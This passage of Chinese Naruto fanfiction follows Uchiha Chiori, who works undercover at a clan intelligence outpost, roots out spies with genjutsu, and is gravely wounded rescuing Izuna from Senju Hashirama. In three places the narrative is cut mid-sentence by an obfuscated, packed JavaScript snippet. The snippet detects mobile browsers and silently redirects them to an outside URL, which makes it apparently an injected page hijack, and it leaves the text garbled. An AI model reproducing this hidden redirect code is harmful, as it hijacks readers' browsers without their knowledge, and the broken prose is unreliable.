“泉奈他……算了,你们都想得太多了。”火核欲言又止,拍拍我的脑袋,让我别这么废寝忘食地学习,偶尔也放松一下,别真的累病了。 我理直气壮:“真的病了就要怪族长大人,谁让他在外面传我生病的?” …… 翻过一年,我在开春的时候悄悄跟着那对密探夫妇离开了族地,前往北方繁盛的都城潜伏下来。 那里有着宇智波一族的据点,不过我并没有在据点中生活,而是和那对夫妻扮作普通人在城中住了下来,据点的对接人也不知道我是宇智波。 ——他也不是宇智波,而是附属宇智波的外族人,也会些简单的忍术。 我大概知道族长大人为什么会要我来了。 隐瞒我的身份也是为了降低我暴露的风险。 一个开了写轮眼的未成年宇智波,在外的风险还是太大了。 出发前,我跟着族长契约了一只忍猫作为更为隐蔽的传讯通道,能够单独与族中通信。 族长和我说:“千织,你的任务很重要,你要保证传到族中的信息是未被篡改的。” 我不知道田岛族长的后续安排是什么,自己想也想不通,干脆就完成他交代的事吧,然后我问他:“族长大人,等我回来后,你能答应我一个要求吗?” 他问我什么要求。 我自然知道取消亲事是不可能的,族群的发展最为重要,更何况如今忍者的死亡率这么高,族内的年轻男女到了年龄就会被要求结婚…… 除非实力和地位到了未来族长那样,才有权利说不吧。 我只要等未来族长拒绝他自己和他弟弟的亲事就好。 “相传我们宇智波有一块祖传的石碑,上面有着六道仙人留给我们的启示,任务完成后我想看一看它。” 当然可以。 田岛族长的表情稍微放松了一些,露出了个十分轻微的笑:“这不算要求,往后你自然能看它。” 12. 月夜 潜伏的第一个月,一切正常。 我写信问族长我能不能和家人联系。 族长的回信很简短:可。 第二个月,我明面上听从据点的安排,实际也留神着据点的情况,然后写信汇报族长表示一切正常,并说明我给父母和哥哥各寄了信。 田岛族长:少寄点信。 我不得不把家书缩减成每月一封。 忍猫看到我厚厚一沓信的时候差点跳过来挠我,我威胁忍猫要是敢挠我我就用幻术让她抓老鼠吃。 第三个月的时候,我差不多和周边的人家都混熟了,据点内的情况也知道了不少。 据点内的常驻情报人员基本都是依附宇智波的外族人,以往也有宇智波族内的人,不过他们常常死于身份泄露后其他忍族为了夺取血继的围杀。 但是,要是据点没有族内的人,情报的可信任度终究不足,所以即使有族人在这个位置源源不断地牺牲,族内也不得不派出人手来监控这里。 知道这个消息的时候,我只觉得后背一凉,也难怪田岛族长大费周折,在我一开眼后就开始计划这件事。 我要把我的身份捂死。 有时候据点内会有外出做任务的族人短暂落脚,有些人认识我,我们遇上后我一般会在他们出声前表明自己现在的身份,他们就知道什么情况,然后配合我。 据点的人对我这么积极和宇智波的人说话的行为很不解。 有一次,一个比我大一些的据点人员问我为什么这么积极,看见他们难道不害怕吗。 我跟着他的话点头:“当然害怕啊。” “那你……?” “虽然那些大人看起来有些吓人,但是有些大人不是很好看吗?”我理直气壮地捧着脸,望着天空和他闲聊,“有时候能多说几句话也好呀。” 他惊呆了。 “……但是有些大人长得、很有威严,你也去了。”他不敢说凶狠之类的话,诚然族人们也不是每个都长得精致好看。 我狐疑地望着他,然后有些生气地瞪他:“那些大人一看就很有安全感啊?是很有忍者气概的人呢!” 他脸上一阵青一阵白的,一脸想吐槽不知道从何吐槽的样子。 我也在心中暗暗叹气,自己的形象大概没了。 后面我悄悄盯着他,发现他转头把和我的对话汇报给了据点的负责人。 果然是在试探我。 夏天的时候,我迎来了第一个身边没有家人的生日。 火核给我寄信时送了我生日礼物,他不久前开眼了,在信中说泉奈也开了写轮眼。 这是好事,开了写轮眼,虽然面对的敌人会更凶残,但在战场的存活几率也大了起来。 我挑了份礼物让忍猫帮忙带回去,想了想又补了份礼物给泉奈,毕竟火核在信中都说了这件事。 泉奈要不要是一回事,我好歹也要做个样子,我已经是个思虑周全的成熟忍者了。 就是寄礼物的时候,我难免感慨一句给人选开眼礼物怎么有点像全家人给女孩子做红豆饭。 可恶的忍猫,把我的话原封不动地转述给了收信人。 火核的回信措辞十分克制,让我再修习一下说话的艺术,然后告诉我忍猫说这些的时候泉奈也在,不过泉奈没说什么,看起来也没有生气,还托他寄了回礼。 我把信放到一边,打开随信寄来的礼盒。 里面是一把做工精良的短刀。 我试了一下,这把刀的查克拉附着性也很好。 对我们这个年纪的忍者而言,这个礼物有些贵重了。 我送泉奈的开眼礼物是没怎么花心思的他的手工木雕人。 ——我潜伏在城中的身份是木匠的女儿,做这些本就不在话下,更何况我本来就是擅长从无到有编织幻术的忍者,无论从技术还是力量来说,做木雕完全没有难度。 要说上心,最多只能说我选了块比较贵的木料。 事出反常必有妖。 看着泉奈送来的贵重礼物,我不禁感到一阵恶寒。 这家伙说不定偷偷拿本子记我仇了,就等着我回去报复我! 我吓得连夜寄了等价的礼物回去,然后在信里狠狠教训了火核一顿。 怎么可以在外人面前看自己妹妹寄给他的家书! 他就该在忍猫出现的那一刻打晕忍猫带到无人的角落再看信! 还有可恶的忍猫,我追着她撵了三条街! 要是在族里她早就被我逮住了! 这之后潜伏在外的生活风平浪静,有时候会在据点听说宇智波和哪一族开战了的消息,这个时候据点也会全速运转起来,将各地的情报整合送回族里,我也时不时被抓苦力。 又过了一年,我照例传信息回族里,汇报族长据点中的情况。 回信的字迹变了:父亲伤重,往后泉奈负责对接你这里的情报。——斑。 收到消息的我愣了许久,这才注意到时间真的悄无声息地就这么过去了。 未来族长恐怕也要成为族长了。 果不其然,不久后据点内说起了族长大人去世、新任族长是老族长年长的那位儿子斑大人的消息。 这一年我十四岁,未来……不对,新族长到了我的上个世界的成年年龄。 族长换代这件事后,据点内的氛围有些微妙。 不是因为田岛族长去世而产生的不安,而是更为微妙和浮躁的东西。 我留了个心眼,暗地里监视起据点人员的一举一动,并传讯回去说明了情况。 在气氛如此紧张的情况下,据点迎来了新客人。 “……”远远看到宇智波泉奈出现在据点内的时候,我整个人都呆住了。 他和据点的负责人走在一起,嘴角挂着温和的笑意,面对着负责人有些恭敬的态度并未流露出任何倨傲之态。 大概是察觉到这边的注视,他忽然转头看了过来,负责人看过来后在他耳边说了什么,他便神色微妙地挑了挑眉,收回目光往另一边走了。 “喂,小千,回神,”我身边的据点人员推了下我的手臂,啧了一声,“别看了,人都走了。” 我无比庆幸我之前在这里树立的人设,不然刚才肯定就暴露了。 “刚才那个……” “哦,是族长大人的弟弟,我知道他长得好看,不过你也别往前凑,听说他和新族长大人的战绩很可怕……也不知道脾气怎么样。”同行的人皱着眉看着泉奈他们离去的背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13107853|138195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影。 我瞟了他一眼,慢吞吞道:“……知道了,也就比其他人长得好看一点而已。” 他似乎有什么烦心事,没理会我,摆了摆手便离开了。 我见状便如往常那般离开据点,回到自己在城内的落脚处帮着名义上的父母摆摊,不动声色地和来往的客人打听外面的消息。 入夜之后,院子里传来一声又一声的猫叫。 我套了件羽织打开面向院子的那扇纸门,不出意料看见泉奈坐在檐廊边上。 他抱着我的忍猫,揽在怀里,一下又一下地给猫顺毛。 哦,他现在接手了和我对接情报的任务,四舍五入那也算是他的忍猫。 我走到他边上,把忍猫拎回来自己抱着,低头看他:“你出来没人发现吧?” “我留了分/身。”他抬起头看我,素净的月光落到他的脸上,让他那张嘴角微微弯起的脸看起来更加柔和了。 有点奇怪。 我心中有种说不出的感觉,实在要形容的话,大概是感知到他身上发生了一些我无法得知的巨大变化。 这种变化让我隐隐有些烦躁,我又想起白天时他和据点接头人谈话时的笑容,和现在很像。 辉去世之后,他就没有对我露出过这样的笑容。 假得让人可恨。 “你别这样笑。”我有些警惕地盯着他,按在忍猫背上的手都有些用力了。 怀里的猫不悦地叫了一声,我便松开手由着她跳到一边。 宇智波泉奈挑了挑眉:“千织,你在害怕。” “不想我赶你出去,就别说这些没用的话。”我仍旧盯着他,那种未知的感觉让我十分不安。 “……”泉奈沉默了一下,脸上的笑容消失不见,说起正事,“我是为了你传讯中的内容来的。” 他顿了一下,语气有些微妙地上扬:“你要一直这么站着吗?” 我这么站着俯视他的样子似乎确实不太好。 犹豫了一下,我在他边上坐了下来。我不喜欢跪坐,身上这身衣服也不适合盘腿,我坐的位置便稍微有些靠后,双腿前伸,自然从缘侧垂落,避免自己踩到院子的地上。 我正觉得我们这样面对同一个方向并排坐着的感觉太过奇怪,显得我们似乎很亲密一样——明明只是简单地交换情报而已。 这时他轻轻往缘侧边我的腿上看了一眼,用一种很奇怪的语气说道:“你也会在意这种事啊。” 我不善地看向他,很是理直气壮:“没穿鞋,踩到地上再踩上来走廊会脏,你不用打扫卫生当然不在意。” 他愣了一下,哼了一声转过头,不再看我:“别说得好像我和那些贵族一样什么事都不干。” “而且你都能容忍你的猫踩上来了。”他又小声嘟囔了一句。 隔着我们老远趴在廊上的忍猫听见他的话,悠闲摇摆的尾巴僵硬地定在半空。 她不悦地朝着泉奈哈了一口气,全身的毛都炸了起来。 我哈了一声:“猫是猫,人是人,你也是猫吗?” 他一脸莫名:“我又没踩上来!” 也是,他一开始就在说我避开踩着地的事。 ……不对,我们刚开始不是在说正事吗? 13. 小千 泉奈和我说了他的来意。 “斑哥刚刚继任,不少和我们同盟的忍族都有异动,你又说了这边的事,再加上过往族人情报泄露的情况过于蹊跷,所以我来看看。” 我点头表示知道了:“你带了多少人?” “没带人。如果这里真的有问题,也好引蛇出洞。” 我:? 我深吸了一口气,预感到了什么,死死盯着他:“你现在几勾玉?” “不久前三勾玉了。”这家伙回答得云淡风轻。 我有点心态不平衡了,收回目光:“哦。” 不、就、是、三、勾、玉、了、吗! “所以我需要你的帮助,千织。父亲派你来这里,想必也是为了这一天,”泉奈继续说道,声音十分平稳,只是在提到田岛族长的时候语气有着些微的低落,“我一个人在明处,只有你能帮我查探他们的情况。” 我:…… 想到田岛族长刚去世不久,我有点懊恼,和他怄气干什么。 写轮眼升级代表了什么我再清楚不过了。 “没问题,这本来就是我的任务,”我应了下来,本来我就一直注意着他们的动静,“你也要小心,注意安全。” 聊完正事,泉奈就准备离开。 他站在庭院中,身后扎起来的墨色长发在月光下泛着些微的蓝。 老师去世后我就没见过他,这两年他抽条了不少,任谁站在他面前也不会说这个少年是个小孩子了。 忽然,他又停下来,转头看我。 “对了,千织,你在这里的名字是叫小千吗?”说这话的时候,他的脸上带着一股奇异的笑意,念到“小千”的时候,他的声音显得十分轻快,两个跳跃的音节在他唇边转瞬即逝。 我呆了一下,不禁瞪大了眼睛瞧他,耳朵有点发烫,慌乱道:“你不能这么叫!” 太奇怪了,被这家伙这么叫名字。 “其他人都这么叫,”他歪了歪脑袋,轻挑眉梢,“为什么我不可以?” “这能一样吗?他们又不知道我的全名,一开始他们就叫我千了。而且在他们眼里我年纪小,才这么称呼我的!”如果不是没有鞋子,我肯定跳到他面前和他争论了! “你也就比我大几个月,还是族长的弟弟,这么亲切地称呼一个族外人的部下,多少也不合适吧!” 从千织变成只叫千已经是很亲切的叫法了,更何况是小千! 知道我名字的爸爸妈妈和火核都没这么叫过我! 他深以为然地点点头:“那我该怎么叫你?小织?” 我深深吸了一口气,明白了。 他绝对是故意的。 明明我在外面用的名字是千,再怎么称呼也称呼不到小织上去啊! “你高兴就好!只要你在被人问到为什么要叫我‘织’的时候能回答出来,怎么叫都可以!”我咬牙切齿地看着他,学着他只叫了他名字的一半。 他的表情空白了一瞬,随即立刻转头,背对着我:“抱歉,我刚才开玩笑的。” “道歉有用才怪。”我挑了下眉,手撑在地板上,对着他故意“izuizu”地喊个不停。 也就我们不在族里,不能去训练场打架,不然我们肯定已经打起来了。 “真是的,就算你这么叫,我也不会在意的。”他飞快扔下一句话翻墙跑了。 我啧了一声,不在意还跑这么快,我才不信。 神清气爽地起身回房,我躺进被褥里闭上眼睛,过了一会儿—— 不对! 我猛地坐起来。 我为什么要这么亲密地叫他名字啊?这不是杀敌一千,自损八百吗?! 被他绕进去了! 说到底他一开始为什么叫我小千啊,他居然也叫得出口! 因为这件事,我这天晚上梦里都是他挂着我很不适应的笑容对我轻声喊着小千,吓得我醒了好几次。 这就是他的报复吗! 虽然心里充满了对他的怨念,但任务还是要做的。 我一个人当然盯不住太多人,因此我用幻术催眠了据点里不起眼的几个人替我盯着我觉得可疑的人。 他们都是普通人,我没有让他们太凑近,只是让他们发现异常直接通知我。 这之后,据点开始里传言族长的弟弟只是在族长继位后到据点象征性地代表族长关心我们一下,过几天就要离开了。 在泉奈预计启程的前一天,我逮到人了。 那是个极其普通的人,他也没有晚上偷偷摸摸出门,就是很正常地在白天说要去买些东西,然后离开了据点。 很不巧的,他是我下了幻术的其中一位,只是他自己没有察觉。 发现他的不对后,我悄悄跟了上去,在城外找到了和他接头的忍者。 他们在树林见面,接头忍者身上没有表示家族的族徽。 我缀在不远处监视他们。 只有一个人,见面后那个人甚至没有发现密探身上的幻术痕迹。 我一个人能应付。 在意识到这一点后,我让忍猫去通知泉奈,然后在暗处睁开了写轮眼—— 与树林环境无异的幻术悄无声息地铺展开来,林间的鸟雀时不时地啾鸣出声。 幻术的展开从来不只依赖于写轮眼,但写轮眼能对其产生增幅。如果以为面对宇智波只要不看眼睛就能躲避幻术的袭击,那就想得太美了。 中了幻术的两人先后倒地。 我继续等了一会儿,确定周围没有其他我没感知发现的监视人员,这才从暗处走出来,把人给绑上。 泉奈跟着忍猫来的时候,我正分了个身,打算一个分/身拎一个,把人带走。 他到了后诧异地看向我:“你就这么直接动手了?” “不要小看我的幻术,”我抬了抬下巴,向他示意分身手里的那个忍者,“既然你来晚了,苦力就由你来做。” 出乎意料的,他没和我争辩,一言不发地走过去把人接过来。 “带去哪里?”我拎着另一个内奸问道。 他露出了个冷笑:“既然抓到了一个,那就直接回据点。已经有理由彻查了,总不能让你这么辛苦地一直盯梢。” “……” 突然提到我,还是有点关心的好话,我稍微愣了一下,不太自在地移开目光,哦了一声,催促他快回去。 大概是没听到我和他呛声,他忽然也沉默了一下,看了我一眼。 “你走不走?”我被他这一眼看得有些恼怒。 他立刻回头,一边扛起人,一边说道:“知道了,也不知道你在催什么。” ……还是好奇怪的感觉。 我跟在他后面,望着他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13107854|138195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背影,心里乱糟糟的,也不知道究竟是什么心情。 事后我给火核写信,说觉得泉奈性格变了好多,让我极为不适应。 火核的回信让我怀疑人生:是吗?泉奈大人不是一直都是这个性格吗? 我:? ……所以火核什么时候对泉奈也改口了!因为三勾玉吗! 这让我很尴尬啊!难道我也要跟着喊泉奈大人了吗! 这一天终于到了吗! 回到据点,我们直接找到了负责人。 据点当然不是所有人都有问题。有了泉奈的首肯,我直接用幻术开始彻查据点的情况,查出来的内奸基本都是平日里存在感不高的人。 负责人倒是没有问题,一开始试探我也是在探查我是否可疑。 这些年暴露身份而死的族人们确实有不少是死于那些内奸的泄密,他虽然查过但依旧有漏网之鱼。 幻术实在是一项很有用的技能,泉奈在一旁看着我使用幻术把这些人逮出来,神情很复杂。 他冷不丁地开口:“千,你的幻术放在战场上也……” 我猜他大概想起当年我对他说过的话,才提起上战场这茬。 我停下手头上的事转头看他,写轮眼中的勾玉停止旋转,高强度使用写轮眼让我的眼睛有些酸涩。 我用力地眨了几下眼睛缓解眼睛的疲惫,等他继续说下去,他却突然止住了话头。 我疑惑地等他继续说下去。 “没什么,”泉奈忽然转过头,看着眼前昏迷的几个内奸,顿了一下才慢慢说道,“你的幻术在战场外有更大的用处。” 我深以为然地点头,战场上的对手对宇智波的写轮眼都有防备。而且相比幻术,正面对敌能力更为重要。 解决完据点的问题后,泉奈就要准备离开了。 因为已经用过写轮眼,我也不需要再隐瞒身份,直接在负责人身边开始逐渐接手据点的事务。 再怎么说泉奈也是名义上的上司,临行前我去送他。这个时候我已经收到火核的来信了,纠结之余我还是对他改了口:“路上小心,泉奈大人。” 他现在也才十四,又是一个人出来,万一路上遇到棘手的敌人,就算是三勾玉……可恶,不想这个了! 我有一搭没一搭地想着事,他却在听见我的话后愣住了,似乎有些无措。 “你怎么突然这么叫我?”泉奈回过神,有些秀致的眉皱了皱,怀疑地看着我,“你真的是千……吗?” 他差点叫出我的本名,但想起我并没有告诉其他人我的名字,立刻打住,只是眼中的怀疑越发凝重。 我:…… 是你自己不珍惜我改口的机会的! 我狠狠瞪他,正要问他要不要看看我的写轮眼,他便轻叹了口气。 “……算了,随便你怎么叫好了,”他正色道,“不过你如今在据点中暴露了身份,面临的情况只会比以前更危险,一定要注意安全。发现异常不要像之前那样一个人直接上,联系我也好,附近的族人也好,多少要有个照应。” “……” 这人真的不是我哥假扮的? 我算是知道刚才他听我叫他泉奈大人的感受了。 直逼恐怖谷效应啊! “……我走了。”他似乎还想说什么,但见我没说话,便对我微点了下头,转身离开。 14. 营救 据点中的工作很多,不止收集情报传回族中一项。 一些附近的委托人也会将任务委托送来,其中比较重要的、据点内的人无法完成的会送回族内。 因为是要送回族内的委托,所以必须确认委托的准确性,同时提供完成任务的相关情报,以免造成不必要的损失。 我常驻据点后,一些原本需要送回族内的委托我就直接自己完成了。 每月的汇报中,泉奈一开始并没什么表示。但次数多了后,他主动提起了这件事。 [近来已经有幻术师阿千住在北方的传言,还没有人联想到宇智波,但近期内不要在用幻术了。消息一旦泄露,你的处境会很危险。] 和这封回信到来的,还有两个宇智波的族人。 “泉奈大人让我们辅助您的工作,千大人。” 一个人确实有点忙不过来。 我表示知道了,送他们去熟悉据点后转头翻出自己之前完成的任务分析起来。 因为过于依赖幻术,我的出手特征十分明显,往往目标和随行的护卫忍者还没发觉他们就都中了幻术。 再加上任务完成的地点都是在北方一带,被锁定所在地简直是理所当然的。 如果再继续下去,这个范围还会被缩小,查到我这里是早晚的事。 大意了。 又过了两个月,这期间逐渐又有了我在南方的传言,我知道是族中的人帮忙抛出的障眼法。 果不其然,不久后泉奈回信说起了这件事。 我心情十分复杂,但也真心实意地谢过他……虽然我们的私人关系不太好,可他在族务上确实很可靠。 不知道是不是始终对这件事耿耿于怀,不久后我也从二勾玉升三勾玉了。 这件事我倒没有汇报,据点这边本来就不看这些。不过如果是战场上,那就有必要上报了。 而且这两件事时间间隔太短了,出于一种十分微妙的心态,我不想让他联想到两件事有关联。 这之后,随着族长和泉奈年龄渐长,新生代忍者实力的提高,宇智波与千手的战争伤亡也越发惨重。 我不在族内,也隐隐感受到局势的紧张。 我十六岁这年,后来被人称为战场上的噩梦的木遁第一次在宇智波与千手的战争中现世。 在一次与千手的战争后,据点来了不少从附近战场上退守下来的族人。 “千手的族长……那东西简直是怪物。” 据点内通火灯明,受伤的人太多了,族人们挤在房间里等待治疗,我在一旁听着他们的讨论,心想也就是我们宇智波的须佐还没现世……不,或许到时候他们也会一致端水认为须佐也是怪物。 不过已经到了这个时间点了吗…… 我对去想后来会发生的事有些逃避。一族的战争并非我一人能主导制止的,而后我不可避免地想到了那个重要的转折点—— 泉奈的死亡。 太阳穴的位置突然突突跳了起来,有些抽痛。 “泉奈大人留下断后了,也不知道……”我突然听见一个细小的声音,猛地转头看去。 “你说什么?!” 听到这个消息的时候,我的思维有瞬间的停滞。 泉奈现在还没有万花筒,这次撤回的族人又遇上了千手族长的追击。 那个人会为了族人主动留下来断后简直是…… 他本来就是这样的人。 我深深吸了一口气,强制自己冷静下来,却忽然想起多年前我与火核的那场对话。 他担心我与泉奈的冲突会影响到我的未来。那时的我说他不是那种因为私欲泄愤的人。 我想说服自己泉奈应该能从这次追击中全身而退,毕竟他的命运、他的死亡是早就写明的。 ——可是,万一命运是可以更改的呢? 如果没有救援与接应,他就真的出事了呢? 我问清楚他们与泉奈分别的位置,那是靠近国境线的一片森林。 木生火,森林本来应该是擅长火遁的宇智波的主场,复杂的环境更能使写轮眼派上用场。 可千手有个木遁使。 我不知道千手柱间会不会因为泉奈是斑的弟弟手下留情,但是我知道泉奈的脾气,要是觉得自己被对方当作拿捏哥哥的工具,这家伙绝对—— “千大人,您去了也无济于事啊!”我指了之前泉奈派来的人负责据点接下来的事宜,踏出房门前,有人阻拦我。 眸中的的勾玉悄然显现,我回头望向他们,那些还待出口的话语被压制在了他们嘴边。 宇智波是崇尚力量的一族。 护甲、忍具、武器。 很久没有全副武装穿上这些东西,但赶过去的路上足够我熟悉它们。 往年出任务时我来过附近,对这里的环境多有了解。 乌云掩盖了明月,暗夜中的树影显得狰狞扭曲。 天上开始下雨了。 细密的雨丝笼罩而下,打在身上产生一种奇怪的痒意,泥土的腥气开始在林间蔓延。 ——这是火遁忍者的绝对逆境。 好消息是雨水会带走不少信息,为逃亡者予以便利。 黑色的忍猫融入了影子,追寻着快被冲刷殆尽的气息找寻她的另一个主人。 我悄无声息地缀在身后,刚开始还有些不太适应的护甲此时已经不会随着动作发出声响。 我想起泉奈曾说过我的能力与天赋简直是为暗杀而生。 那是在之前揪出据点内外族的探子后发生的事。 后来我用幻术完成过不少暗杀任务,被黑市差点锁定落脚点后,他明里暗里在回信中说过我不必把他的话当真。 我自然没有把他当时的评价放在心上,因为我知道这就是事实,去完成任务也是为了节省族中的资源。 但那件事后,我发现他似乎对我存在着某种我无法理解的愧疚。 雨开始变大了。 刷刷的雨声中,遥遥传来了对话的声音。 我将自己的气息收敛到了极致,忍猫完成任务后悄无声息地退去。 “宇智波泉奈,千手一族和谈的意愿里绝对没有掺杂任何阴谋。”我听见了千手柱间的声音。 比起南贺川的那次见面,他的声音沉稳了许多,带着股说一不二的气势。 泉奈的声音有些虚弱:“千手柱间,冠冕堂皇的话谁都会说。我若是不答应,你难道会放我离开吗?” 我感知着周围的敌人。 不多,除却千手柱间,其他的千手都是一般水平。 但一个千手柱间比任何部队都难以应付。 隔壁家族的族长有立刻回答,气氛更为凝重了。 “抱歉,即使无法说服你,我也必须将你留下。”柱间说道。 这话的意思……也就是说即使泉奈同意,隔壁族长也不会放人。 坏了。 果不其然,我听到了泉奈的冷笑声。 “千手柱间,你以为我会相信你的一面之辞?想要用我威胁斑哥,你做梦!” 轰的一声巨响,爆裂开来的火遁混着蒸腾的水汽弥漫开来。 忍刀相接,摩擦声刺耳。 “你以为我的哥哥是死在谁手里的?!当年你用花言巧语哄骗斑哥,如今还想让我们相信你是真心结盟?” “柱间大人!”这是其他千手的声音。 柱间似乎还想说服泉奈,语气挣扎:“我的弟弟也……” 泉奈听到后更是冷漠:“那我更不可能相信你会放下血亲之仇!” 我心中一凛,借着弥漫的水汽构筑幻术,走进了这片战场。 一个、两个、三个…… 千手柱间的部下们悄无声息地倒下。 我不敢下死手,怕失去了气息的他们引来千手柱间的注意。 此刻我也越发靠近战场的中心。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13107855|138195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >我冷静地注视着眼前的一幕。 千手一族的族长似乎终于放弃了说服泉奈,在双方拉开距离后收刀回鞘。 这副似乎是轻敌的模样让泉奈面上浮起恼怒之色,但同时他也更为警惕。 我隐隐预感到了什么,准备发动幻术,谨慎地注视着他,但是—— “抱歉——”千手柱间双手合掌,说道一半突然停下,看向了我的方向,“你是什么人?” 危机感在他转头看向我时便浸透了全身,我本能般地掠出,身后的木遁枝条却穷追不舍,直接洞穿了我的一侧肩膀。 “千织!”泉奈的语气听起来十分奇怪,“你怎么会来这里?” 他来到我身侧,想要挡在我身前。 我抬手拉住了他,在他手臂上悄无声息地传递信息。 ——看准时机。 ——逃。 粘腻的衣袖上有很多血。 “别误会,做任务路过而已。”我没有抬头看他,松开手重新举起忍刀,将洞穿肩膀的那根枝条斩断,受伤的那只手仍在无意识地抽搐着,鲜血顺着手臂淌下。 额头上冒出几滴忍痛的汗,和雨水混杂在一起。 我微微垂着头,无论如何刚才已经失去了最佳的偷袭时机,或许是我的注视引起了木遁使的警觉,也或许是我的敛息之术还不到家。 看泉奈刚才的反应,我觉得大概是前者。 只能背水一战了,也不知道接下来的幻术能不能管用。 千手柱间却因为泉奈的话停下来攻击,愣了片刻,给了我们些许喘息之机:“……千织?” 奇怪,他认得我? 就算听过我的名字,也该只听过“千”而非“千织”啊。 “……既然你也在,那便一起留下来吧,”他的语气十分强硬,“等到结盟后……” 哈哈,千手柱间这时候也会说冷笑话啊,冷得我骨子缝都在发抖。 等到结盟后我的坟头草一丈高吗? “是吗?”我抬起头看向千手柱间,写轮眼中流出碍事的液体,染红了视野,“从刚才我就想问了,我们认识吗?千手的族长大人。” 啪嗒—— 石子轻弹水面的声音。 刹那间,雨声变得遥远起来,夏季的虫鸣鸟叫逐渐明晰。 不被人识破的幻术。 即使被识破,中术者也不想打破的幻术。 这两种幻术,我都很擅长。 哪怕只有一瞬,哪怕只有这一次—— “喂,柱间,”少年族长的声音在幻境中显现,带着些不耐烦,“你在发什么呆,轮到你打水漂了。” 现实中,千手柱间僵硬地、缓慢地转动着头颅。 泉奈扶住我,抓住这个时机撤退。 轰隆—— 仅仅这个间隙,失控暴涨的木遁枝条瞬间穿透了我的肚腹。 来不及用忍刀斩断这些碍事的东西,身上查克拉暴涨,震断这些木枝的同时,我吐出一口血,耳朵有一瞬间的失聪。 泉奈似乎在说什么。 “走!”我只能重复道,“回家。” 不可以恋战。 ……不愧是木遁使,明明幻术还没有被破解。 泉奈抱起了失去行动能力的我飞速离开森林,好在提前解决了其他几个千手,现在没有其他追兵。 风声呼啸而过,我回头望见了难以忘记的一幕。 遮天蔽日的木遁树枝以千手柱间为中心生长包围,本能般地护住了陷进幻术的千手忍者。 我是被误伤的。 大概是因为刚才被木遁穿过一次了,这次失控的木遁格外具有针对性地攻击了我。 我想起一件事。 ——如果说,命运是无可更改的。 那么,在原著的战国时期中没有出现著名女性忍者的宇智波一族里……我是逃脱剧情的漏网之鱼,还是注定死在结盟前的无名之人呢? 15. 瞳术 幻术被破解了。 和身上的伤口相比,被幻术反噬的我甚至觉得脑中的疼痛毫无威慑力。 千手族长那可怕的气息在接近我们。 我吃力地拉住泉奈:“把我扔下来。” 既然千手族长是为了结盟留人……他如果视而不见,我一定会死,他会怎么选? 是追击宇智波族长的弟弟还是停下来救一个无名的宇智波? “宇智波千织,你闭嘴,”泉奈的声音在雨声中显得断续而颤抖,“我会带你回家的。” 笨蛋,这样下去我们都回不去,干脆赌一把—— 这时,另一股强横无比的查克拉突然在暗夜中显现。 “柱间!”我听见了族长怒气磅礴的声音,他及时赶到,拦在了我们身后。 与他错身而过的瞬间,泉奈身形微顿,他们兄弟间似乎完成了某种默契的交流。 身后,森林猛地振动起来,暗蓝色的光映亮了漆黑的天幕。 ——是族长。 这股力量,他似乎开万花筒了。 此刻的我,得到了一半的答案。 所以,我不来,泉奈也不会出事。 命运是不可改变的吗? 我会死在今夜?还是无名的某一天? 眼睛灼烧般地刺痛起来,牵连着大脑神经,瞳力源源不断地冲刷着眼周的经络。 我不知道我们逃了多久,停下来的时候,我们已经远离了国境边界,泉奈抱着我进了一户废旧的农居。 久无人居的木板房尘埃漫天,因为雨天,空气中弥漫着一股潮湿的霉味。 所幸房子没有漏雨,只是快要朽烂的板材看起来似乎摇摇欲坠。 我们两人身上的血味转瞬盖过了屋中的其它味道。 “千织,你撑住……”他用火遁点燃火塘,小心翼翼地把我放到一旁,解开我身上已然破碎的护甲,掌心上绿色的查克拉亮起,按压住我的肚腹。 然而只是杯水车薪。 宇智波不擅长医疗忍术,这是由查克拉属性决定的。 医疗忍术和幻术都是查克拉的阴阳属性变化,宇智波向来更偏向阴极的幻术。 火焰带来的暖意让我有些犯困。泉奈低着头看我的伤,神情藏在阴影当中。 “……你的眼睛,”说话对我而言变得无比吃力,毕竟呼吸间都会牵扯到胸腹的肌肉,而且肩膀那个填着树枝的伤口也在强烈地彰显存在感,“是不是不太一样了。” 我问起刚才就很在意的一件事,来的路上似乎看见他眼睛的花纹变了。 我是因为自己可能已被写定的未来,他呢? 原著的事我记得不是很清楚,他和他哥哥似乎是同时开眼。族长是因为他遇袭,他是因为和千手族长的实力差别吗? 我晕晕乎乎地想着,下意识逃避另一个可能。 “没有的事,”他顿了一下,“与其在意我,你还是想想怎么撑过来吧。” 也是,我这么在意别人的眼睛做什么。 “……我是不是多管闲事了,”想到后面赶来的族长,我眼前的面容也有些发虚模糊了,失血过多的后遗症开始显现,我有点管不住自己的嘴,“我不来你也会没事,对吧。” 被他按住的伤口猛地抽痛了一下,泉奈的声音骤然冰冷起来:“宇智波千织,不想说话就闭嘴。” 